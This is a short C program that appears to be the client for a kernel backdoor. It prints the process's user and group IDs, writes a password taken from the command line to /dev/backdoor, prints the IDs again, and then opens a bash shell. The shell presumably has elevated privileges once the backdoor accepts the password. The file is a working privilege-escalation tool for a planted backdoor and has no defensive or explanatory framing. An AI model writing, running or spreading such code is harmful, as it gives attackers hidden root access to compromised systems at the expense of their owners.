#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void print_privs() {
	printf("..--== Creds ==--..\n"
		   "UID: %d\n"
		   "GID: %d\n"
		   "EUID: %d\n"
		   "EGID: %d\n"
		   "===================\n",
		   getuid(),
		   getgid(),
		   geteuid(),
		   getegid());
}

int main(int argc, char *argv[]) {
	if (argc < 2) {
		printf("Usage: %s [password]\n", argv[0]);
		return 1;
	}

	print_privs();

	int fd = open("/dev/backdoor", O_WRONLY);
	if (fd < 0) {
		perror("open");
		return errno;
	}

	if (write(fd, argv[1], strlen(argv[1])) < 0) {
		perror("write");
		return errno;
	}

	print_privs();

	system("/bin/bash");

	close(fd);
}